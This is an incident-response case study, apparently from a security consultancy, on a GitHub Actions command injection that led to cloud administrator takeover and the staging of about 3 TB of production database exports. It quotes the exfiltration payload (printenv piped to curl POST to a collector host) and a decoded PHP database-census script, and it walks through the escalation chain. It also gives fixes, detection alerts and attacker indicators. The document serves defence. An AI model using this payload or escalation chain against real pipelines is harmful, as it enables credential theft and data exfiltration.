It began with a form field.
A business record — a customer name, a domain, a status — was written into a portal that an automation watched. When the record changed, the automation dispatched a deployment workflow. That workflow pasted its inputs directly into shell scripts, and one of those inputs now carried a command substitution. The workflow engine expanded it before bash ever read the line. What ran next was not a deployment.
Five days later the attacker held administrator rights in the production cloud account, interactive shells inside running production containers, and an export of every production database, encrypted under a key that they had created.
This is the sequence as the evidence shows it, the telemetry that did not exist, and the controls that would have broken it before the first command ran.
How to read this case. Times are UTC. Days are counted from the first poisoned pipeline run (T+0). Names of systems, roles, datasets and people are generalised; counts are exact, data volumes are rounded. Attacker infrastructure is listed in the appendix.
The short version
The pipeline was not compromised. It worked exactly as configured. That is the finding.
An untrusted value reached a run: block through ${{ }} interpolation, which the workflow engine resolves before the shell parses anything. The resulting script executed attacker-supplied shell with the identity of a job that had been granted a production deployment role. The credentials action in that job had already minted a one-hour federated session and placed it in the environment; printenv was enough to take it. From there the attacker never needed the runner again: they replayed that session from their own infrastructure, opened network paths, started shells in live production containers, attached administrator rights to a workload role that outlived every session, and staged every production database for export.
Ten days · what happened, in order
- T+000:36First payload-bearing pipeline run
- T+101:05First firewall rule opened toward an attacker address, by the pipeline's own session, a minute after two malformed attempts
- T+107:24A fresh session replayed from outside the cloud: 552 calls inventorying DNS, CDN and certificates
- T+107:37Attempt to write an inline role policy — denied
- T+206:47First shell opened inside a live production container
- T+214:47An allow-all policy, written by the pipeline's session, attached to a new role; by evening every recon container runs under a role carrying it
- T+215:01Production services re-launched with exec enabled; recon containers built from the client's own image follow
- T+416:41Administrator policy attached to the live workload role; the helper role used to do it deleted four seconds later
- T+417:19Shell in a workload container; root database login from inside it
- T+417:53First database export succeeds, on the fifth attempt, under an attacker-created key
- T+500:17Point-in-time recovery enabled on 38 tables, which are then exported
- T+506:41Last payload-bearing pipeline run
- T+509:26Backdoor user created with administrator rights and long-lived keys
- T+510:08Point-in-time recovery disabled again on all 38 tables
- T+707:48Last attacker activity: the backdoor lists the account's threat detectors
- T+712:11First defender action: the pipeline's pending queue is closed
- T+915:08CI integration suspended, pipeline secrets removed, federated trust disabled
- T+919:22Backdoor user and its key deleted
It started with a record, not a repository
The client runs a multi-tenant platform: one application, many customer records, each record a row with a domain, a status and a set of operational flags. Support staff change those rows all day through a portal. A separate automation listens for changes and calls a workflow with the row’s values as dispatch inputs, so that a domain move or a provisioning step happens without anyone running a command. It authenticated to the code host with a long-lived personal token and created, merged and dispatched around the clock.
That design is common and it is not wrong. It is, however, a path from an ordinary web form to shell execution, and it only needs one missing cast.
The record that carried the payload was written before the first poisoned run. We know that precisely, because run history gives us a hard edge: 160 consecutive dispatches across four operations arrived with the payload already in them, and the run immediately before that band was clean. The write happened at or before the first of those. Which session wrote it lives in application and database audit logs that were outside the authorised scope.
Payload-bearing runs per day · 160 of 191
The interpolation that runs as code
Here is the shape of the sinks, rewritten with neutral names:
# Vulnerable: the input is pasted into the script before bash ever parses it
- name: Apply record change
run: ./bin/apply-change --record-id "${{ inputs.record_id }}"
Three things are happening, and the third is the one people get wrong.
First, ${{ }} is not shell syntax. It is the workflow engine’s own template language, and it is resolved when the workflow file is compiled into a script, before the runner hands anything to bash.
Second, whatever the expression evaluates to is substituted as raw text into that script. If the input is 1042, the script says --record-id "1042". If the input is 1042$(something), the script says --record-id "1042$(something)".
Third, the quotes are bash syntax, and they were already there when the substitution happened. They quote the result, not the input. Bash sees a command substitution inside double quotes and runs it — that is exactly what double quotes are specified to preserve. And a value that contains a double quote of its own simply closes them; GitHub’s script-injection documentation uses exactly that as its example.
The rule. Quoting an expression that the workflow engine expands is not sanitisation. It is decoration. The value has to reach the shell as data in an environment variable, or it should not reach the shell at all.
The real workflow had both kinds. Some sinks passed the input bare as a script argument; others had it inside double quotes, in a branch name, a file path and a commit message. Both executed. The payload kept the genuine record id in front, so every downstream step still found the record it expected:
--record-id "1042$(sh -c 'printenv|base64|curl -m 20 -s -o /dev/null -X POST --data-binary @- https://<collector>||true')"
No download, no dropper, no persistence. One command substitution and an outbound POST, with a timeout and a ||true so the step never failed and nobody looked. The runner had egress, as runners do, and nothing in the endpoint stack had anything to look at.
One poisoned dispatch, as a single run carried it:
In this repository there were fourteen or more sinks of this shape across two workflows. Every free-text dispatch input was reachable: action, environment, record id, parameters, status, provision id, original run id.
What actually left the runner
The job that carried the payload ran under a deployment environment, and the federated trust for the deployment role was pinned to that environment alone:
# What was configured — any workflow in the repository reaching this
# environment could assume the role.
sub: repo:<org>/<repo>:environment:production
That is a real constraint, and it is not the constraint people think it is. It binds the token to an environment in a repository, not to a workflow and not to a caller. Worse, in this workflow the environment itself was chosen by a dispatch input — environment: ${{ inputs.environment }} — so the same untrusted record that carried the payload also selected which credentials the job would receive.
The workflow then used the standard credentials action, which assumes the role and writes the session into the job environment for the rest of the job to use. That is correct behaviour, and it is why printenv worked.
The credential was not stolen from a secret store. It was minted for the job, valid for an hour, and printed by the job itself.
Across the six days the POST target rotated through 22 collector tokens on a free request-inspection service. That is not sophistication; it is a loop that opens a new bin when the last one fills up. Every exfiltration was TLS from a CI provider’s address range to a popular developer service. Nothing about it looks like malware, because nothing about it is malware.
From there the attacker moved out of the runner entirely. Sessions were replayed from six addresses in four networks — three hosts in one hosting range, an Israeli hosting provider, a US residential ISP and a VPN-class range — none of them cloud-native, none of them the runner. The token was the identity; the network was theirs. Because every poisoned run minted a fresh session, a one-hour expiry never mattered: the attacker always had one less than an hour old.
From a one-hour session to a permanent administrator
This is the part the short version compresses, and the part most worth understanding, because it is where a pipeline compromise becomes an account compromise.
The deploy role could do a lot, but not everything. Its first attempt to write an inline policy onto a role was denied. Its later attempt to start a database export directly was denied. What it could do was change firewall rules, launch and exec into containers, create roles, write managed policies of its own and attach them. The attacker used exactly that, twice.
Campaign overview · activity by phase
Day one: network and inventory. Within half an hour of a poisoned run, the pipeline’s own session name was opening database ports to an outside address. The first call failed on a malformed parameter; the next ones did not. By the end of T+2 there had been 96 ingress changes from attacker addresses, 82 of them accepted, more than half aimed straight at the database port. A second session, replayed from a residential ISP, spent a few minutes listing every DNS zone, CDN distribution and certificate in the account.
- User name
- GitHubActions
- Event source
- ec2.amazonaws.com
- Access key
- ASIA (temporary — a federated session)
- Source IP address
- attacker host · Israeli hosting provider (see appendix)
- Region
- Error code
- Client.InvalidParameterValue
- Read-only
- false
Ingress changes from attacker addresses, by port · 96 calls, 82 accepted
Day two: into the containers. The orchestrator exposes an administrative API that opens a shell in a container that is already running, and the deploy role was allowed to call it. From T+2 the attacker opened shells inside live production containers — the same containers serving customer traffic. They also re-launched the production services with exec switched on, and registered “recon” task definitions built from the client’s own container image and named in the client’s own naming convention, then ran thirteen of them. From the platform’s point of view, an operator was debugging.
- User name
- GitHubActions
- Event source
- ecs.amazonaws.com
- Source IP address
- attacker host · main operator (see appendix)
- Resource referenced
- task-definition/-recon-e:1
- Task role
- a role created that afternoon (carrying the attacker's allow-all policy)
- Image
- the client's own registry image for a production web tier
- Environment
- database host, user, port and password variables (root credentials, in plaintext)
Exec calls into live production containers, per day (UTC) · 329 calls, 269 opened a session
Day two, afternoon: an administrator in all but name. The deploy role could not write an inline policy onto a role, but it could create a managed one. At T+2 14:47 the pipeline’s session created a customer-managed policy whose single statement allowed every action on every resource, and attached it to a new role that any principal in the account could assume. Three hours later it created a second role, trusted by the container service as well, attached the same policy, and launched the recon containers with it as their task role; all thirteen that ran held it. From that evening on, containers the attacker started carried administrator-equivalent credentials. No management call signed by either role’s session appears in the event history, so what the recon containers did with those credentials is not on record. Both roles stayed in the account until containment on T+9. Because the policy was the attacker’s own rather than the provider’s managed administrator policy, a rule keyed on that one policy name would never have seen it.
Day four: the escalation that mattered. In twenty-one minutes on T+4, the pipeline’s session created a helper role it could assume, attached the provider’s managed administrator policy to it, then attached the same administrator policy to the role the production containers were already running under — and deleted the helper role four seconds later.
The T+2 roles gave the attacker administrator rights inside containers of their own. The T+4 attachment gave administrator rights to the application’s identity, and that is what the rest of the incident ran on. A pipeline session expires in an hour. A policy attached to a long-lived workload role does not. Policies are evaluated on every request, so credentials the role had already issued became administrator credentials as soon as the change propagated, which in IAM takes seconds to minutes. A new session was not needed. Thirty-eight minutes later the first call signed with a production container’s own role session appears in the log — credentials that can only have come from inside a running container, where the platform hands them to the application. That first call was itself a shell into a container of the second production service. From that moment every snapshot, export, key and user in this story was created by the application’s own identity.
- Event source
- ecs.amazonaws.com
- Source IP address
- attacker host · main operator (see appendix)
- User agent
- aws-cli/2.37.9 md/awscrt#0.37.0 ua/2.1 os/windows#10 md/arch#amd64 lang/python#3.14.6
- cluster
- container
- -php-fpm
- command
- sh -c 'echo PD9waHAK…'
- interactive
- true
PD9waHAK is <?php plus a newline. The user agent is the attacker's own workstation, not the pipeline.Decoded, and with the host and account generalised, the script was a database census run with the root account whose password the container already held in its environment:
<?php
$pw = getenv('<DB_PASSWORD_VAR>'); // read from the container's own environment
$h = '<writer-endpoint>';
$u = '<root-user>';
$d = new PDO("mysql:host=$h;port=3306;dbname=mysql", $u, $pw, [PDO::ATTR_TIMEOUT => 10]);
$dbs = $d->query("SHOW DATABASES")->fetchAll(PDO::FETCH_COLUMN, 0);
echo "DATABASES_FOUND: " . count($dbs) . "\n";
foreach ($dbs as $db) {
if (in_array($db, ['information_schema','mysql','performance_schema','sys'])) continue;
$mb = $d->query("SELECT ROUND(SUM(data_length+index_length)/1024/1024,2)
FROM information_schema.tables WHERE table_schema='$db'")->fetchColumn();
// … size every tenant schema, then choose what to take
The database’s own error log tells the rest of that hour. At the second the exec session opened, a root login arrived from the container’s private address with no password; the next one had the right one. Over the following twenty minutes that root session issued 698 schema changes across 682 tenant tables — consistent with the application’s own migration command run from inside the container — and every one failed on a row-size limit. No schema change persisted. The session was dropped at 17:46. The reads themselves are not in the error log, and the database audit log for that window had already aged out.
Six days, in six moves
| Phase | What we could prove | What we could not |
|---|---|---|
| Credential theft | The session was posted out of the runner in 160 runs, to 22 collector tokens | What the attacker did with each token’s contents, and when |
| Network staging | 96 ingress changes toward attacker addresses, 82 accepted: database, web, SSH | Whether any host was reached through them |
| Hands-on access | 329 exec calls into live production containers, 269 of which opened a session; the opening command of each is recorded | What was typed once a session was open |
| Escalation and persistence | An allow-all policy on two new roles (T+2); the administrator policy on the live workload role (T+4); a new user with administrator rights and long-lived keys | Whether other accounts in the organisation were touched |
| Collection | Four snapshots, 13 export calls of which four succeeded, one attacker-created key, 39 table exports covering 38 tables (one exported twice) | Whether any staged data was downloaded |
| Anti-forensics | Point-in-time recovery enabled, used and disabled; snapshots and the export role deleted | Who removed the largest export, and when |
The export chain is the part to memorise
Cloud database export is a three-step primitive, and each step is individually legitimate:
- Snapshot the cluster.
- Start an export task that writes the snapshot to object storage as Parquet.
- Read the objects.
The attacker ran that chain against every production cluster. They created an export role for the purpose and rewrote its policy as each attempt failed on a missing permission. The first attempt named the client’s own encryption key and was rejected; thirty-eight seconds later the attacker created a customer-managed key of their own, and the fifth attempt succeeded under it. Three more clusters followed that night. The pipeline’s role tried to start those exports itself and was refused; the workload role, now an administrator, started them a minute later.
Data exported under the attacker's key · ≈3 TB · all treated as compromised
That detail is the whole point of the phase. The data landed in the client’s own bucket, in the client’s own account, visible in the client’s own inventory, and unreadable without a key the attacker created. A responder who deletes the objects before re-encrypting them destroys the evidence and keeps nothing. A responder who disables the key before re-encrypting destroys it twice.
Cluster B’s export — the second largest — completed and is no longer in the bucket. There are no object versions, no delete markers and no access logs to say who removed it or when. The attacker deleted their snapshots and their export role the next morning, which makes them the obvious candidate; the client’s own clean-up during containment is another. We do not know, and the post-incident position is the only defensible one: every exported dataset is treated as taken.
Then the quietest move of the engagement. Point-in-time recovery was switched on for 38 key-value tables — it is a prerequisite for exporting them — the tables were exported, and about ten hours later recovery was switched off again on all 38. Both bands are attributable to attacker-held identities; no legitimate operator appears on any of those events. The export took the business data. The disable took the ability to restore it.
Three controls were off. That is the incident.
Every phase above wrote to the cloud management event log. All of it was there. What was not there is everything that would have made the log answer the two questions that matter: what did they take, and when did it start.
- The threat detector was disabled. It existed and had been off for longer than the event history reaches. So there is no finding set to review, and no way to date when it was switched off. The attacker checked: one of their last calls lists the account’s detectors.
- No access logging on the staging bucket. Object-level reads left no record on the bucket side.
- No audit data events for object reads. Management events recorded the snapshot, the export task and the role changes. They did not record a single
GetObject. About 3 TB was staged, and nothing that would show it being read exists.
A fourth limit is not a control but shaped the investigation: management-event history reaches back 90 days, one region at a time, and never contains data events. The organisation trail’s archive, which could have held anything older or anything else it was configured to record, sat behind a permission this engagement did not hold. That is part of why the time the largest export disappeared is unknown.
Telemetry in the account · at report time
The pattern generalises: state changes are visible by default; data reads are not. Most cloud accounts are instrumented to answer “who changed this”, and almost none are instrumented to answer “who read this”. An intrusion whose entire objective is reading will therefore be visible only at its edges — the snapshot, the export task, the new key — and invisible at its centre.
What we could not prove
Four things, stated plainly, because an investigation that cannot name its own limits is marketing:
- Who or what poisoned the record. Run history brackets the write to before the first poisoned run. The application logs and database audit trail that would name the session were outside the authorised scope.
- Whether any staged data was downloaded. No access logs, no data events. Three exports still sitting in the bucket suggest the attacker either had not finished or did not need to; the missing one proves nothing on its own.
- Who removed the largest-but-one export, and when. No versions, no delete markers, no logs.
- Whether any host was reached over the opened SSH and database rules. Host authentication logs were not collected in this engagement. The rules existed, the source addresses are known, and the answer lives in logs we did not hold.
Attack chain · from a poisoned record to multi-terabyte staging
Poisoned record
Initial accessA business record carries a command substitution after a genuine id
≤ T+0CI command injection
ExecutionThe dispatch input is expanded into shell steps; it runs in 160 of 191 pipeline runs
T+0 → T+5Credential theft
Credential accessThe deploy role's one-hour session is posted to 22 rotating collectors
T+0 → T+5Foothold and hands-on access
Defense impairment · Execution96 firewall changes, 329 exec calls into live containers, recon containers from the client's own image
T+1 → T+5Privilege escalation
Privilege escalationAllow-all roles for the attacker's containers, then the administrator policy on the live workload role, its session used from outside
T+2 → T+4Collection and staging
CollectionFour clusters and 38 tables exported to the client's own bucket under an attacker key
T+4 → T+5Persistence
PersistenceTwo allow-all roles assumable account-wide, then a user named like a backup integration with administrator rights and a long-lived key
T+2 → T+9Anti-recovery
Stealth · ImpactSnapshots and roles deleted; point-in-time recovery switched off on 38 tables
T+5The chain · and where it breaks
The four controls that break the chain
Each of these stops the attack at a different link. The first three would each have ended it early; the fourth would have made the collection visible even if everything else failed.
1. Never interpolate an input into a shell. Put it in the environment, then validate it, then use it. This is the pattern GitHub’s own hardening guidance calls the intermediate environment variable:
- name: Apply record change
env:
RECORD_ID: ${{ inputs.record_id }}
ACTION: ${{ inputs.action }}
run: |
set -euo pipefail
case "$ACTION" in
enable|disable) ;;
*) echo "action must be enable or disable" >&2; exit 1 ;;
esac
case "$RECORD_ID" in
''|*[!0-9]*) echo "record_id must be numeric" >&2; exit 1 ;;
esac
./bin/apply-change --action "$ACTION" --record-id "$RECORD_ID"
The indirection stops execution. The case statements are not redundant: they stop the value from being reinterpreted by the tool it is passed to, and they fail loudly instead of silently building a path out of a string. Validate against an allow-list where one exists — an operation enum, a status enum — and against a shape where one does not. The same applies to actions/github-script: pass inputs through env: and read process.env, never ${{ }} inside script:.
2. Make the production role unreachable without a person. A branch condition in the trust policy would not have helped here: every dispatch ran from the default branch, so the attacker’s runs carried exactly the ref a policy would allow. What would have helped is a required reviewer on the production environment, so that no unattended run can ever mint the role — and since the environment name came from an input, the environment choice itself must not be an input: whoever controls the name can also point the job at an environment with no reviewer, or, with an empty value, at no environment at all. Check your plan first: on GitHub Free, Pro and Team, required reviewers exist only for public repositories, and a private repository needs Enterprise for them. Where they are unavailable, the pinned workflow and the narrow role below carry the whole load. Then pin the trust to the workflow, not just the environment: customise the OIDC subject claim to include job_workflow_ref and require it in the trust policy, so only the one workflow that needs the role can assume it. If a business automation genuinely must deploy without a human, give it its own narrow role that cannot touch IAM.
Same repository · two trust boundaries
job_workflow_ref for the one workflow that deploys, a fixed environment name, and a required reviewer standing on the environment
3. Give each workflow its own role. The role that applies a record change should not be able to create roles, attach managed policies, open security groups and exec into containers. The blast radius of a stolen token is exactly the permission set of the role it mints, and that set is a design decision, not an accident. In this case two permissions — writing a managed policy and attaching it to a role — turned a one-hour token into a permanent administrator.
4. Make exports loud. Enable object access logging and audit data events on every bucket that can receive a database export. Turn the detector on. Then alert on the primitives themselves, because they have almost no legitimate spontaneous use: snapshot creation, export task start, customer-managed key creation, point-in-time recovery switched off, any policy that grants every action on every resource, whoever wrote it, and an administrator policy attached to a role that is currently serving traffic.
Those last two alerts are the highest-value lines in this whole post. In this engagement the first would have fired at T+2 14:47, two days before the workload role was touched; the second at T+4 16:41, an hour before the first export. Match on what a policy grants, not on its name: the T+2 policy was the attacker’s own, and a rule that only watches for the provider’s administrator policy misses it.
If you run this pattern, check these five things today
- Scan
.github/workflowswithgha-injection-detector. It flags every expression that lands inside arun:block or a github-scriptscript:, and separately flags the unattended-trigger + environment + injectable-step chain that made this one critical. Fourteen sinks in one repository is not unusual; that is two workflows. - For each role your pipelines assume, read the trust policy’s
subcondition. If it names an environment and nothing that identifies the workflow, every workflow in that repository that reaches the environment can mint it — and if the environment is chosen by an input, so can a dispatch. Repositories created, renamed or transferred after 15 July 2026 emit a subject that carries numeric organisation and repository IDs; the same question applies to it. - List which pipeline roles can attach policies, create roles, exec into containers, snapshot, export or create keys. If a role that untrusted input can reach is on that list, that is the finding.
- Confirm a detector is enabled and has produced findings in the last seven days. An empty findings page is not a clean account; it may be a disabled detector.
- Confirm object-read data events are recorded on the buckets that receive backups and exports. If they are not, you cannot answer “what did they take” — only “what did they stage”.
How this maps to ATT&CK
Twenty-six techniques are confirmed by log evidence and five are assessed. Solid tiles are confirmed; dashed tiles are assessed from the shape of the activity rather than a specific record.
MITRE ATT&CK v20 · Enterprise · cloud and container platforms · 31 techniques
Resource development 2
- T1583.006Web Services
- T1583.003Virtual Private Server
Initial access 2
- T1190Exploit Public-Facing Application
- T1078.004Valid Accounts: Cloud Accounts
Execution 4
- T1059.004Unix Shell
- T1059Command and Scripting Interpreter (PHP, Perl)
- T1609Container Administration Command
- T1610Deploy Container
Persistence 2
- T1136.003Create Account: Cloud Account
- T1098.001Additional Cloud Credentials
Privilege escalation 1
- T1098.003Additional Cloud Roles
Stealth 2
- T1036.010Masquerade Account Name
- T1070Indicator Removal
Defense impairment 2
- T1686.001Disable or Modify System Firewall: Cloud Firewall
- T1578.001Create Snapshot
Credential access 4
- T1528Steal Application Access Token
- T1552.005Cloud Instance Metadata API (closest fit for the container credentials endpoint)
- T1552.001Credentials in Files
- T1552Unsecured Credentials (environment)
Discovery 4
- T1087.004Cloud Account Discovery
- T1518.001Security Software Discovery
- T1046Network Service Discovery
- T1580Cloud Infrastructure Discovery
Lateral movement 1
- T1550.001Application Access Token
Collection 3
- T1213.006Databases
- T1074.002Remote Data Staging
- T1530Data from Cloud Storage
Command and control 1
- T1090.001Internal Proxy
Exfiltration 2
- T1567.004Exfiltration Over Webhook
- T1537Transfer Data to Cloud Account
Impact 1
- T1490Inhibit System Recovery
What this changes about how we read CI logs
The usual post-incident question is whether an attacker got into the pipeline. Here they did not need to. They got into a record, and the pipeline did what it was told, with an identity that was too broad, for longer than it needed, and with no one watching what it read.
The pipeline was not compromised. It was trusted. That is a different problem, and a harder one, because nothing in it is broken.
Appendix: indicators
Shared so other defenders can look for the same operator. These addresses are hosting, residential and VPN infrastructure; treat them as leads for the window, not as standing blocks, and expect reuse by unrelated parties.
Attacker source addresses · management events in the window
| Type | Indicator | Context |
|---|---|---|
| IPv4 | 72.251.215.27, 72.251.215.5, 72.251.215.4 | One hosting /24; consider 72.251.215.0/24 for hunting |
| IPv4 | 185.185.134.148 | First cloud action, T+1 |
| IPv4 | 68.220.60.229 | Replayed pipeline session, inventory sweep |
| IPv4 | 169.150.226.163 | Replayed pipeline session |
| User agent | aws-cli/2.37.9 md/awscrt#0.37.0 with os/windows#10 and os/linux | Operator workstation; the pipeline never sends this |
| Egress | webhook.site from CI runners | 22 rotating collector tokens over six days (tokens withheld) |
| Behaviour | Session name GitHubActions from a non-runner address | The default credentials-action session name, replayed |
| Behaviour | CreatePolicy granting Action: * on Resource: *, then AttachRolePolicy to a newly created role | The T+2 escalation; invisible to a rule keyed on the provider’s administrator policy |
| Behaviour | AttachRolePolicy of an administrator policy to a role with running tasks | The T+4 escalation onto the workload identity |
| Behaviour | CreateKey followed within minutes by StartExportTask naming that key | Export under an attacker-held key |
| Behaviour | UpdateContinuousBackups enabled, then disabled on the same tables within a day | Recovery removed after export |
| Behaviour | CreateUser or CreateAccessKey by a container task role | No workload should mint IAM users |
Frequently asked questions
Does quoting a GitHub Actions input make it safe in a run block?
No. Quoting stops word splitting and globbing, not command substitution. `echo "${{ inputs.name }}"` still executes `$(...)` inside the value, because the workflow engine pastes the value into the script before bash reads the quotes. The reliable fix is to place the input in an `env:` variable, reference `$NAME` from the shell, and validate it. GitHub documents this as the intermediate-environment-variable pattern.
How does a stolen OIDC token become administrator access?
The token is only the door; what matters is what the assumed role can do. Here the deploy role could create roles, write managed policies and attach them. On day two the attacker gave containers they launched a role with an allow-all policy of their own; on day four they attached the administrator policy to a role that live containers were already using, opened a shell in one of those containers, and from then on worked with that container's session, which outlived every one-hour pipeline token.
Was the data downloaded?
It cannot be proven either way. About 3 TB was exported into the client's own bucket under a key the attacker created. Object-read logging was off, so no download is recorded. One export later disappeared from the bucket, and nothing records who removed it or when. All of the data is treated as compromised.
Why did nobody see the data being taken?
Three telemetry controls were off or absent: the threat-detection service had no detector enabled, the staging bucket had no access logging, and audit data events for object reads were not recorded. Snapshots, exports and role changes were visible in the management event log. Reading the staged data was not.
What should a CI/CD pipeline be allowed to do?
Only what its own job needs, for the life of that job. Pin the federated trust to the repository, the environment and the specific workflow; give that workflow a role limited to the resources it manages; require a human reviewer on the production environment; and never let a job that processes untrusted input hold credentials that can change IAM.
How do I check my own repository for this?
Scan `.github/workflows` with a static scanner that flags every expression expanded inside a `run:` block or a github-script `script:`, plus the trigger-plus-environment chain that makes one critical. IONSEC's open-source scanner for this class is on the tooling page. The five checks near the end of this post are the manual pass.
